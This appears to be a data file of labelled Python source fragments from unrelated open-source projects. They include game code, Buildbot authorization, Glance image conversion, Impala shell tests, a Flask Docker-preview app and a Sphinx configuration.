bounceTrack.append(LerpFunctionInterval(bounceFunc, fromData=0.0, toData=dur, duration=dur, extraArgs=[trajectory])) tLen += dur zVel *= decay bounceTrack.append(Func(bounceCleanupFunc)) tagTrack = Sequence(Func(toon.animFSM.request, 'off'), Parallel(spinTrack, growTrack, bounceTrack), Func(toon.animFSM.request, 'Happy')) self.tracks.append(tagTrack) tagTrack.start() if self.IT: it = self.getAvatar(self.IT) shrinkTrack = Parallel() for hi in xrange(it.headParts.getNumPaths()): head = it.headParts[hi] scale = ToontownGlobals.toonHeadScales[it.style.getAnimal()] shrinkTrack.append(LerpScaleInterval(head, duration, scale)) self.tracks.append(shrinkTrack) shrinkTrack.start() self.IT = avId def acceptTagEvent(self, avId): self.accept('enterdistAvatarCollNode-' + str(avId), self.sendTagIfIt, [avId]) def sendTagIfIt(self, avId, collisionEntry): if base.localAvatar.isIt: self.notify.debug('Tagging ' + str(avId)) self.sendUpdate('tag', [avId]) else: self.notify.debug('Bumped ' + str(avId)) def setTreasureScore(self, scores): if not self.hasLocalToon: return self.notify.debug('setTreasureScore: %s' % scores) for i in xrange(len(self.scorePanels)): self.scorePanels[i].setScore(scores[i]) ",1 " here, be sure to also update the documentation # at docs/cfg-statustargets.texinfo 'gracefulShutdown', 'forceBuild', 'forceAllBuilds', 'pingBuilder', 'stopBuild', 'stopAllBuilds', 'cancelPendingBuild', ] def __init__(self, default_action=False, auth=None, **kwargs): self.auth = auth if auth: assert IAuth.providedBy(auth) self.config = dict( (a, default_action) for a in self.knownActions ) for act in self.knownActions: if act in kwargs: self.config[act] = kwargs[act] del kwargs[act] if kwargs: raise ValueError(""unknown authorization action(s) "" + "", "".join(kwargs.keys())) def advertiseAction(self, action): """"""Should the web interface even show the form for ACTION?"""""" if action not in self.knownActions: raise KeyError(""unknown action"") cfg = self.config.get(action, False) if cfg: return True return False def needAuthForm(self, action): """"""Does this action require an authentication form?"""""" if action not in self.knownActions: raise KeyError(""unknown action"") cfg = self.config.get(action, False) if cfg == 'auth' or callable(cfg): return True return False def actionAllowed(self, action, request, *args): """"""Is this ACTION allowed, given this http REQUEST?"""""" if action not in self.knownActions: raise KeyError(""unknown action"") cfg = self.config.get(action, False) if cfg: if cfg == 'auth' or callable(cfg): if not self.auth: return False user = request.args.get(""username"", [""""])[0] passwd = request.args.get(""passwd"", [""""])[0] if user == """" or passwd == """": return False if self.auth.authenticate(user, passwd): if callable(cfg) and not cfg(user, *args): return False return True return False else: return True # anyone can do this.. ",1 "se this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import logging import os from oslo_concurrency import processutils as putils from oslo_config import cfg from taskflow.patterns import linear_flow as lf from taskflow import task from glance import i18n _ = i18n._ _LI = i18n._LI _LE = i18n._LE _LW = i18n._LW LOG = logging.getLogger(__name__) convert_task_opts = [ cfg.StrOpt('conversion_format', default=None, choices=('qcow2', 'raw', 'vmdk'), help=_(""The format to which images will be automatically "" ""converted."")), ] CONF = cfg.CONF # NOTE(flaper87): Registering under the taskflow_executor section # for now. It seems a waste to have a whole section dedicated to a # single task with a single option. CONF.register_opts(convert_task_opts, group='taskflow_executor') class _Convert(task.Task): conversion_missing_warned = False def __init__(self, task_id, task_type, image_repo): self.task_id = task_id self.task_type = task_type self.image_repo = image_repo super(_Convert, self).__init__( name='%s-Convert-%s' % (task_type, task_id)) def execute(self, image_id, file_path): # NOTE(flaper87): A format must be explicitly # specified. There's no ""sane"" default for this # because the dest format may work differently depending # on the environment OpenStack is running in. conversion_format = CONF.taskflow_executor.conversion_format if conversion_format is None: if not _Convert.conversion_missing_warned: msg = (_LW('The conversion format is None, please add a value ' 'for it in the config file for this task to ' 'work: %s') % self.task_id) LOG.warn(msg) _Convert.conversion_missing_warned = True return # TODO(flaper87): Check whether the image is in the desired # format already. Probably using `qemu-img` just like the # `Introspection` task. dest_path = os.path.join(CONF.task.work_dir, ""%s.converted"" % image_id) stdout, stderr = putils.trycmd('qemu-img', 'convert', '-O', conversion_format, file_path, dest_path, log_errors=putils.LOG_ALL_ERRORS) if stderr: raise RuntimeError(stderr) os.rename(dest_path, file_path.split(""file://"")[-1]) return file_path def revert(self, image_id, result=None, **kwargs): # NOTE(flaper87): If result is None, it probably # means this task failed. Otherwise, we would have # a result from its execution. if result is None: return fs_path = result.split(""file://"")[-1] if os.path.exists(fs_path): os.path.remove(fs_path) def get_flow(**kwargs): """"""Return task flow for converting images to different formats. :param task_id: Task ID. :param task_type: Type of the task. :param image_repo: Image repository used. """""" task_id = kwargs.get('task_id') task_type = kwargs.get('task_type') image_repo = kwargs.get('image_repo') return lf.Flow(task_type).add( _Convert(task_id, task_type, image_repo), ) ",1 "t use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import pexpect import pytest import shlex import shutil import socket import signal from impala_shell_results import get_shell_cmd_result, cancellation_helper from subprocess import Popen, PIPE from tests.common.impala_service import ImpaladService from tests.verifiers.metric_verifier import MetricVerifier from time import sleep SHELL_CMD = ""%s/bin/impala-shell.sh"" % os.environ['IMPALA_HOME'] SHELL_HISTORY_FILE = os.path.expanduser(""~/.impalahistory"") TMP_HISTORY_FILE = os.path.expanduser(""~/.impalahistorytmp"") class TestImpalaShellInteractive(object): """"""Test the impala shell interactively"""""" def _send_cmd_to_shell(self, p, cmd): """"""Given an open shell process, write a cmd to stdin This method takes care of adding the delimiter and EOL, callers should send the raw command. """""" p.stdin.write(""%s;\n"" % cmd) p.stdin.flush() def _start_new_shell_process(self, args=None): """"""Starts a shell process and returns the process handle"""""" cmd = ""%s %s"" % (SHELL_CMD, args) if args else SHELL_CMD return Popen(shlex.split(SHELL_CMD), shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE) @classmethod def setup_class(cls): if os.path.exists(SHELL_HISTORY_FILE): shutil.move(SHELL_HISTORY_FILE, TMP_HISTORY_FILE) @classmethod def teardown_class(cls): if os.path.exists(TMP_HISTORY_FILE): shutil.move(TMP_HISTORY_FILE, SHELL_HISTORY_FILE) @pytest.mark.execute_serially def test_escaped_quotes(self): """"""Test escaping quotes"""""" # test escaped quotes outside of quotes result = run_impala_shell_interactive(""select \\'bc';"") assert ""could not match input"" in result.stderr result = run_impala_shell_interactive(""select \\\""bc\"";"") assert ""could not match input"" in result.stderr # test escaped quotes within quotes result = run_impala_shell_interactive(""select 'ab\\'c';"") assert ""Fetched 1 row(s)"" in result.stderr result = run_impala_shell_interactive(""select \""ab\\\""c\"";"") assert ""Fetched 1 row(s)"" in result.stderr @pytest.mark.execute_serially def test_cancellation(self): impalad = ImpaladService(socket.getfqdn()) impalad.wait_for_num_in_flight_queries(0) command = ""select sleep(10000);"" p = self._start_new_shell_process() self._send_cmd_to_shell(p, command) sleep(1) # iterate through all processes with psutil shell_pid = cancellation_helper() sleep(2) os.kill(shell_pid, signal.SIGINT) result = get_shell_cmd_result(p) assert impalad.wait_for_num_in_flight_queries(0) @pytest.mark.execute_serially def test_unicode_input(self): ""Test queries containing non-ascii input"" # test a unicode query spanning multiple lines unicode_text = u'\ufffd' args = ""select '%s'\n;"" % unicode_text.encode('utf-8') result = run_impala_shell_interactive(args) assert ""Fetched 1 row(s)"" in result.stderr @pytest.mark.execute_serially def test_welcome_string(self): """"""Test that the shell's welcome message is only printed once when the shell is started. Ensure it is not reprinted on errors. Regression test for IMPALA-1153 """""" result = run_impala_shell_interactive('asdf;') assert result.stdout.count(""Welcome to the Impala shell"") == 1 result = run_impala_shell_interactive('select * from non_existent_table;') assert result.stdout.count(""Welcome to the Impala shell"") == 1 @pytest.mark.execute_serially def test_bash_cmd_timing(self): """"""Test existence of time output in bash commands run from shell"""""" args = ""! ls;"" result = run_impala_shell_interactive(args) assert ""Executed in"" in result.stderr @pytest.mark.execute_serially def test_reconnect(self): """"""Regression Test for IMPALA-1235 Verifies that a connect command by the user is honoured. """""" def get_num_open_sessions(impala_service): """"""Helper method to retrieve the number of open sessions"""""" return impala_service.get_metric_value('impala-server.num-open-beeswax-sessions') hostname = socket.getfqdn() initial_impala_service = ImpaladService(hostname) target_impala_service = ImpaladService(hostname, webserver_port=25001, beeswax_port=21001, be_port=22001) # Get the initial state for the number of sessions. num_sessions_initial = get_num_open_sessions(initial_impala_service) num_sessions_target = get_num_open_sessions(target_impala_service) # Connect to localhost:21000 (default) p = self._start_new_shell_process() sleep(2) # Make sure we're connected :21000 assert get_num_open_sessions(initial_impala_service) == num_sessions_initial + 1, \ ""Not connected to %s:21000"" % hostname self._send_cmd_to_shell(p, ""connect %s:21001"" % hostname) # Wait for a little while sleep(2) # The number of sessions on the target impalad should have been incremented. assert get_num_open_sessions(target_impala_service) == num_sessions_target + 1, \ ""Not connected to %s:21001"" % hostname # The number of sessions on the initial impalad should have been decremented. assert get_num_open_sessions(initial_impala_service) == num_sessions_initial, \ ""Connection to %s:21000 should have been closed"" % hostname @pytest.mark.execute_serially def test_ddl_queries_are_closed(self): """"""Regression test for IMPALA-1317 The shell does not call close() for alter, use and drop queries, leaving them in flight. This test issues those queries in interactive mode, and checks the debug webpage to confirm that they've been closed. TODO: Add every statement type. """""" TMP_DB = 'inflight_test_db' TMP_TBL = 'tmp_tbl' MSG = '%s query should be closed' NUM_QUERIES = 'impala-server.num-queries' impalad = ImpaladService(socket.getfqdn()) p = self._start_new_shell_process() try: start_num_queries = impalad.get_metric_value(NUM_QUERIES) self._send_cmd_to_shell(p, 'create database if not exists %s' % TMP_DB) self._send_cmd_to_shell(p, 'use %s' % TMP_DB) impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 2) assert impalad.wait_for_num_in_flight_queries(0), MSG % 'use' self._send_cmd_to_shell(p, 'create table %s(i int)' % TMP_TBL) self._send_cmd_to_shell(p, 'alter table %s add columns (j int)' % TMP_TBL) impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 4) assert impalad.wait_for_num_in_flight_queries(0), MSG % 'alter' self._send_cmd_to_shell(p, 'drop table %s' % TMP_TBL) impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 5) assert impalad.wait_for_num_in_flight_queries(0), MSG % 'drop' finally: run_impala_shell_interactive(""drop table if exists %s.%s;"" % (TMP_DB, TMP_TBL)) run_impala_shell_interactive(""drop database if exists foo;"") @pytest.mark.execute_serially def test_multiline_queries_in_history(self): """"""Test to ensure that multiline queries with comments are preserved in history Ensure that multiline queries are preserved when they're read back from history. Additionally, also test that comments are preserved. """""" # regex for pexpect, a shell prompt is expected after each command.. prompt_regex = '.*%s:2100.*' % socket.getfqdn() # readline gets its input from tty, so using stdin does not work. child_proc = pexpect.spawn(SHELL_CMD) queries = [""select\n1--comment;"", ""select /*comment*/\n1;"", ""select\n/*comm\nent*/\n1;""] for query in queries: child_proc.expect(prompt_regex) child_proc.sendline(query) child_proc.expect(prompt_regex) child_proc.sendline('quit;') p = self._start_new_shell_process() self._send_cmd_to_shell(p, 'history') result = get_shell_cmd_result(p) for query in queries: assert query in result.stderr, ""'%s' not in '%s'"" % (query, result.stderr) def run_impala_shell_interactive(command, shell_args=''): """"""Runs a command in the Impala shell interactively."""""" cmd = ""%s %s"" % (SHELL_CMD, shell_args) # workaround to make Popen environment 'utf-8' compatible # since piping defaults to ascii my_env = os.environ my_env['PYTHONIOENCODING'] = 'utf-8' p = Popen(shlex.split(cmd), shell=True, stdout=PIPE, stdin=PIPE, stderr=PIPE, env=my_env) p.stdin.write(command + ""\n"") p.stdin.flush() return get_shell_cmd_result(p) ",1 "e GrovePi connects the Raspberry Pi and Grove sensors. You can learn more about GrovePi here: http://www.dexterindustries.com/GrovePi # # Have a question about this example? Ask on the forums here: http://forum.dexterindustries.com/c/grovepi # ''' ## License The MIT License (MIT) GrovePi for the Raspberry Pi: an open source platform for connecting Grove Sensors to the Raspberry Pi. Copyright (C) 2015 Dexter Industries Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' import time import grovepi # Connect the Grove Slide Potentiometer to analog port A0 # OUT,LED,VCC,GND slide = 0 # pin 1 (yellow wire) # The device has an onboard LED accessible as pin 2 on port A0 # OUT,LED,VCC,GND led = 1 # pin 2 (white wire) grovepi.pinMode(slide,""INPUT"") grovepi.pinMode(led,""OUTPUT"") time.sleep(1) while True: try: # Read sensor value from potentiometer sensor_value = grovepi.analogRead(slide) # Illuminate onboard LED if sensor_value > 500: grovepi.digitalWrite(led,1) else: grovepi.digitalWrite(led,0) print(""sensor_value ="", sensor_value) except IOError: print (""Error"") ",1 "fo...). If the event is above the approved threshold then it goes through. The handlers do the same thing; they output to a file/shell if the event level is above their threshold. :Example: >> from website import logger >> logger.info('event', foo='bar') **Levels**: - logger.debug('For debugging purposes') - logger.info('An event occured, for example a database update') - logger.warning('Rare situation') - logger.error('Something went wrong') - logger.critical('Very very bad') You can build a log incrementally as so: >> log = logger.new(date='now') >> log = log.bind(weather='rainy') >> log.info('user logged in', user='John') ''' import datetime as dt import logging from logging.handlers import RotatingFileHandler import pytz from flask import request, session from structlog import wrap_logger from structlog.processors import JSONRenderer from app import app # Set the logging level app.logger.setLevel(app.config['LOG_LEVEL']) # Remove the stdout handler app.logger.removeHandler(app.logger.handlers[0]) TZ = pytz.timezone(app.config['TIMEZONE']) def add_fields(_, level, event_dict): ''' Add custom fields to each record. ''' now = dt.datetime.now() #event_dict['timestamp'] = TZ.localize(now, True).astimezone(pytz.utc).isoformat() event_dict['timestamp'] = TZ.localize(now, True).astimezone\ (pytz.timezone(app.config['TIMEZONE'])).strftime(app.config['TIME_FMT']) event_dict['level'] = level if request: try: #event_dict['ip_address'] = request.headers['X-Forwarded-For'].split(',')[0].strip() event_dict['ip_address'] = request.headers.get('X-Forwarded-For', request.remote_addr) #event_dict['ip_address'] = request.header.get('X-Real-IP') except: event_dict['ip_address'] = 'unknown' return event_dict # Add a handler to write log messages to a file if app.config.get('LOG_FILE'): file_handler = RotatingFileHandler(filename=app.config['LOG_FILENAME'], maxBytes=app.config['LOG_MAXBYTES'], backupCount=app.config['LOG_BACKUPS'], mode='a', encoding='utf-8') file_handler.setLevel(logging.DEBUG) app.logger.addHandler(file_handler) # Wrap the application logger with structlog to format the output logger = wrap_logger( app.logger, processors=[ add_fields, JSONRenderer(indent=None) ] )",1 "parse from flask import Flask, Response, render_template, abort, request from molt import Molt, MoltError app = Flask(__name__) # コマンドライン引数のパース parser = argparse.ArgumentParser() parser.add_argument('-c', '--config', help='config file path') args = parser.parse_args() if args.config: cfg_file = args.config else: cfg_file = 'config/molt_app.cfg' if not os.path.exists(cfg_file): app.logger.error(""{} が存在しません"".format(cfg_file)) sys.exit(1) app.config.from_pyfile(cfg_file, silent=True) @app.route('/', strict_slashes=False) def index(virtual_host): """"""Moltの実行をプレビューするページ."""""" try: rev, repo, user = virtual_host_parse(virtual_host) except Exception: abort(404) vhost = {'rev': rev, 'repo': repo, 'user': user, 'full': virtual_host} redirect_url = '//{}.{}/'.format(virtual_host, app.config['BASE_DOMAIN']) return render_template('index.html', vhost=vhost, redirect_url=redirect_url) @app.route('/molt/', methods=['GET'], strict_slashes=False) def molt(virtual_host): """"""Moltの実行をストリーミングする(Server-Sent Eventを使ったAPI)."""""" try: rev, repo, user = virtual_host_parse(virtual_host) except Exception: abort(404) m = Molt(rev, repo, user, app.config['BASE_DOMAIN'], app.config['GITHUB_USER'], app.config['GITHUB_TOKEN']) r = redis.StrictRedis(host=app.config['REDIS_HOST'], port=app.config['REDIS_PORT']) def generate(m, r): """"""Dockerイメージ立ち上げ(ストリーミングするための関数). git clone から docker-compose upまでの一連の処理のSTDIOの送信と、Dockerイメージ の情報取得・設定をする """""" # コマンド群の実行 try: for row in m.molt(): row = row.decode() data = row.split('\r')[-1] # CRのみの行は保留されるので取り除く yield event_stream_parser(data) except MoltError as e: yield event_stream_parser(e, event='failure') except Exception: yield event_stream_parser('Molt内部でエラーが発生しました。終了します...', event='failure') else: # RedisへIPアドレスとバーチャルホストの対応を書き込む r.hset('mirror-store', virtual_host, m.get_container_ip()) yield event_stream_parser('', event='success') return Response(generate(m, r), mimetype='text/event-stream') @app.route('/favicon.ico') def favicon(): """"""favicon.ico."""""" abort(404) @app.template_filter('base_domain') def base_domain_filter(path): """"""Staticファイルを呼び出す際のドメインを指定する."""""" return '//' + app.config['BASE_DOMAIN'] + ':' + str(app.config['PORT']) + \ '/' + path @app.route(""/hook"", methods=['POST']) def hook(): event = request.headers[""X-GitHub-Event""] req = request.json if event != ""pull_request"": return ""ok"", 200 elif req[""action""] not in {""opened"", ""synchronize""}: return ""ok"", 200 pr = req[""pull_request""] pr_url = pr[""comments_url""] pr_sha = pr[""head""][""sha""][:7] pr_reponame = pr[""head""][""repo""][""name""] pr_owner = pr[""head""][""repo""][""owner""][""login""] payload = { ""event"": ""COMMENT"", ""body"": ""Launched the preview environment!\nhttp://{}.{}.{}.{}\ "".format(pr_sha, pr_reponame, pr_owner, app.config[""BASE_DOMAIN""]), } headers = { ""Accept"": ""application/vnd.github.v3+json"", ""Content-Type"": ""application/json"", ""Authorization"": ""token {}"".format(app.config[""GITHUB_TOKEN""]), } requests.post( pr_url, json=payload, headers=headers, ) return ""ok"", 200 def virtual_host_parse(virtual_host): """"""Virtual_hostの文字列を 'rev', 'repo', 'user' に分割する. e.g.(1) ""host.repo.sitory.user"" => ""host"", ""repo.sitory"", ""user"" e.g.(2) ""host.repository.user"" => ""host"", ""repository"", ""user"" """""" p = re.compile(r'(?P^.+?)\.(?P.+)\.(?P.+)$') m = p.search(virtual_host) return m.group('rev'), m.group('repo'), m.group('user') def event_stream_parser(data, event=None, id=None, retry=None): """"""Server-Sent Event 形式へのパーサ."""""" event_stream = '' if event: event_stream += 'event: {}\n'.format(event) event_stream += 'data: {}\n'.format(data) if id: event_stream += 'id: {}\n'.format(id) if retry: event_stream += 'retry: {}\n'.format(id) event_stream += '\n' return event_stream if __name__ == '__main__': # RSA鍵の生成 user = os.getenv('USER') ssh_key_path = os.path.expanduser(""~"")+""/.ssh/molt_deploy_key"" if not os.path.exists(ssh_key_path): command = 'ssh-keygen -t rsa -N """" -f {}'.format(ssh_key_path) command = shlex.split(command) subprocess.Popen(command) # Dockerネットワークの作成 clinet = docker.from_env() networks = clinet.networks.list() if 'molt-network' not in [network.name for network in networks]: command = 'docker network create --subnet=172.31.255.0/24 \ --ip-range=172.31.255.0/24 --gateway=172.31.255.254 \ -o ""com.docker.network.bridge.host_binding_ipv4""=""0.0.0.0"" \ molt-network' command = shlex.split(command) subprocess.Popen(command) app.run(host=app.config['HOST'], port=app.config['PORT']) ",1 "lass LinkError(Exception): pass def refine_import_err(mod_name, extension_name, exc): """""" Checks to see if the ImportError was because the library itself was not there or because there was a link error. If there was a link error it raises a LinkError if not it does nothing. Keyword arguments ----------------- - mod_name : The name of the Python module that was imported. - extension_name : The name of the extension module that is to be imported by the module having mod_name. - exc : The exception raised when the module called mod_name was imported. To see example usage look at __init__.py. """""" try: del sys.modules['vtk.%s'%mod_name] except KeyError: pass if string.find(str(exc), extension_name) == -1: raise LinkError, str(exc) ",1 "oc # imports import PyKDE4.kdecore as __PyKDE4_kdecore import PyQt4.QtCore as __PyQt4_QtCore import PyQt4.QtGui as __PyQt4_QtGui import PyQt4.QtSvg as __PyQt4_QtSvg class KPassivePopupMessageHandler(__PyQt4_QtCore.QObject, __PyKDE4_kdecore.KMessageHandler): # no doc def message(self, *args, **kwargs): # real signature unknown pass def __init__(self, *args, **kwargs): # real signature unknown pass ",1 " Copyright (c) 2008-2013 - Lionel Dricot & Bertrand Rousseau # # This program is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the GNU General Public License along with # this program. If not, see . # ----------------------------------------------------------------------------- from gi.repository import Gtk from gi.repository import GdkPixbuf from GTG.core.tag import ALLTASKS_TAG from GTG.gtk.colors import get_colored_tags_markup, rgba_to_hex from GTG.backends.backend_signals import BackendSignals class BackendsTree(Gtk.TreeView): """""" Gtk.TreeView that shows the currently loaded backends. """""" COLUMN_BACKEND_ID = 0 # never shown, used for internal lookup. COLUMN_ICON = 1 COLUMN_TEXT = 2 # holds the backend ""human-readable"" name COLUMN_TAGS = 3 def __init__(self, backendsdialog): """""" Constructor, just initializes the gtk widgets @param backends: a reference to the dialog in which this is loaded """""" super().__init__() self.dialog = backendsdialog self.req = backendsdialog.get_requester() self._init_liststore() self._init_renderers() self._init_signals() self.refresh() def refresh(self): """"""refreshes the Gtk.Liststore"""""" self.backendid_to_iter = {} self.liststore.clear() # Sort backends # 1, put default backend on top # 2, sort backends by human name backends = list(self.req.get_all_backends(disabled=True)) backends = sorted(backends, key=lambda backend: (not backend.is_default(), backend.get_human_name())) for backend in backends: self.add_backend(backend) self.on_backend_state_changed(None, backend.get_id()) def on_backend_added(self, sender, backend_id): """""" Signal callback executed when a new backend is loaded @param sender: not used, only here to let this function be used as a callback @param backend_id: the id of the backend to add """""" # Add backend = self.req.get_backend(backend_id) if not backend: return self.add_backend(backend) self.refresh() # Select self.select_backend(backend_id) # Update it's enabled state self.on_backend_state_changed(None, backend.get_id()) def add_backend(self, backend): """""" Adds a new backend to the list @param backend_id: the id of the backend to add """""" if backend: backend_iter = self.liststore.append([ backend.get_id(), self.dialog.get_pixbuf_from_icon_name(backend.get_icon(), 16), backend.get_human_name(), self._get_markup_for_tags(backend.get_attached_tags()), ]) self.backendid_to_iter[backend.get_id()] = backend_iter def on_backend_state_changed(self, sender, backend_id): """""" Signal callback executed when a backend is enabled/disabled. @param sender: not used, only here to let this function be used as a callback @param backend_id: the id of the backend to add """""" if backend_id in self.backendid_to_iter: b_iter = self.backendid_to_iter[backend_id] b_path = self.liststore.get_path(b_iter) backend = self.req.get_backend(backend_id) backend_name = backend.get_human_name() if backend.is_enabled(): text = backend_name else: # FIXME This snippet is on more than 2 places!!! # FIXME create a function which takes a widget and # flag and returns color as #RRGGBB style_context = self.get_style_context() color = style_context.get_color(Gtk.StateFlags.INSENSITIVE) color = rgba_to_hex(color) text = f""{backend_name}"" self.liststore[b_path][self.COLUMN_TEXT] = text # Also refresh the tags new_tags = self._get_markup_for_tags(backend.get_attached_tags()) self.liststore[b_path][self.COLUMN_TAGS] = new_tags def _get_markup_for_tags(self, tag_names): """"""Given a list of tags names, generates the pango markup to render that list with the tag colors used in GTG @param tag_names: the list of the tags (strings) @return str: the pango markup string """""" if ALLTASKS_TAG in tag_names: tags_txt = """" else: tags_txt = get_colored_tags_markup(self.req, tag_names) return """" + tags_txt + """" def remove_backend(self, backend_id): """""" Removes a backend from the treeview, and selects the first (to show something in the configuration panel @param backend_id: the id of the backend to remove """""" if backend_id in self.backendid_to_iter: self.liststore.remove(self.backendid_to_iter[backend_id]) del self.backendid_to_iter[backend_id] self.select_backend() def _init_liststore(self): """"""Creates the liststore"""""" self.liststore = Gtk.ListStore(object, GdkPixbuf.Pixbuf, str, str) self.set_model(self.liststore) def _init_renderers(self): """"""Initializes the cell renderers"""""" # We hide the columns headers self.set_headers_visible(False) # For the backend icon pixbuf_cell = Gtk.CellRendererPixbuf() tvcolumn_pixbuf = Gtk.TreeViewColumn('Icon', pixbuf_cell) tvcolumn_pixbuf.add_attribute(pixbuf_cell, 'pixbuf', self.COLUMN_ICON) self.append_column(tvcolumn_pixbuf) # For the backend name text_cell = Gtk.CellRendererText() tvcolumn_text = Gtk.TreeViewColumn('Name', text_cell) tvcolumn_text.add_attribute(text_cell, 'markup', self.COLUMN_TEXT) self.append_column(tvcolumn_text) text_cell.connect('edited', self.cell_edited_callback) text_cell.set_property('editable', True) # For the backend tags tags_cell = Gtk.CellRendererText() tvcolumn_tags = Gtk.TreeViewColumn('Tags', tags_cell) tvcolumn_tags.add_attribute(tags_cell, 'markup', self.COLUMN_TAGS) self.append_column(tvcolumn_tags) def cell_edited_callback(self, text_cell, path, new_text): """"""If a backend name is changed, it saves the changes in the Backend @param text_cell: not used. The Gtk.CellRendererText that emitted the signal. Only here because it's passed by the signal @param path: the Gtk.TreePath of the edited cell @param new_text: the new name of the backend """""" # we strip everything not permitted in backend names new_text = ''.join(c for c in new_text if (c.isalnum() or c in ["" "", ""-"", ""_""])) selected_iter = self.liststore.get_iter(path) # update the backend name backend_id = self.liststore.get_value(selected_iter, self.COLUMN_BACKEND_ID) backend = self.dialog.get_requester().get_backend(backend_id) if backend: backend.set_human_name(new_text) # update the text in the liststore self.liststore.set(selected_iter, self.COLUMN_TEXT, new_text) def _init_signals(self): """"""Initializes the backends and gtk signals """""" self.connect(""cursor-changed"", self.on_select_row) _signals = BackendSignals() _signals.connect(_signals.BACKEND_ADDED, self.on_backend_added) _signals.connect(_signals.BACKEND_STATE_TOGGLED, self.on_backend_state_changed) def on_select_row(self, treeview=None): """"""When a row is selected, displays the corresponding editing panel @var treeview: not used """""" self.dialog.on_backend_selected(self.get_selected_backend_id()) def _get_selected_path(self): """""" Helper function to get the selected path @return Gtk.TreePath : returns exactly one path for the selected object or None """""" selection = self.get_selection() if selection: model, selected_paths = self.get_selection().get_selected_rows() if selected_paths: return selected_paths[0] return None def select_backend(self, backend_id=None): """""" Selects the backend corresponding to backend_id. If backend_id is none, refreshes the current configuration panel. @param backend_id: the id of the backend to select """""" selection = self.get_selection() if backend_id in self.backendid_to_iter: backend_iter = self.backendid_to_iter[backend_id] if selection: selection.select_iter(backend_iter) else: if self._get_selected_path(): # We just reselect the currently selected entry self.on_select_row() else: # If nothing is selected, we select the first entry if selection: selection.select_path(""0"") self.dialog.on_backend_selected(self.get_selected_backend_id()) def get_selected_backend_id(self): """""" returns the selected backend id, or none @return string: the selected backend id (or None) """""" selected_path = self._get_selected_path() if not selected_path: return None selected_iter = self.liststore.get_iter(selected_path) return self.liststore.get_value(selected_iter, self.COLUMN_BACKEND_ID) ",1 " - to insert new student record \n \t 0 - to quit\n"")) print(choice) if (choice == 1) : if (student_phoneNumber_name) : phone_number = input(""Enter student's phone number : "") name = SearchRecord(phone_number) if (name) : print(""name : "" + name ) else : print(str(phone_number) + ""Does not exist in record"" + str(name)) else : print(""Record is empty "") elif (choice == 2) : phone_number = input(""Enter student's phone number : "") name = input(""Enter student's name : "") #best example to understand input() and raw_input() InsertRecord(phone_number, name) elif (choice == 0) : break else: print(""Enter correct choice"") def InsertRecord(x, y): student_phoneNumber_name[x] = y return; def SearchRecord(x): print(x) if (x in student_phoneNumber_name) : return student_phoneNumber_name[x] return False Handler() print(student_phoneNumber_name)",1 "rom future import standard_library standard_library.install_aliases() import unittest from mri import MriServer from mri.dispatch import MriServerDispatch class TestMriServer(unittest.TestCase): def test_new_dispatch(self): server = MriServer(""http://www.httpbin.com"", ""testuser"", ""testpass"") task = {""title"": ""TEST"", ""id"": ""000112233""} dispatch = server.new_dispatch(task) test_against = MriServerDispatch(task, ""http://www.httpbin.com"", ""testuser"", ""testpass"") self.assertEqual(dispatch, test_against) if __name__ == '__main__': unittest.main() ",1 " file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ #'rinoh.frontend.sphinx' ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Phaser Editor 2D' copyright = u'2016-2020, Arian Fornaris' author = u'Arian Fornaris' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = u'2.1.7' # The full version, including alpha/beta/rc tags. release = u'2.1.7' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set ""language"" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # 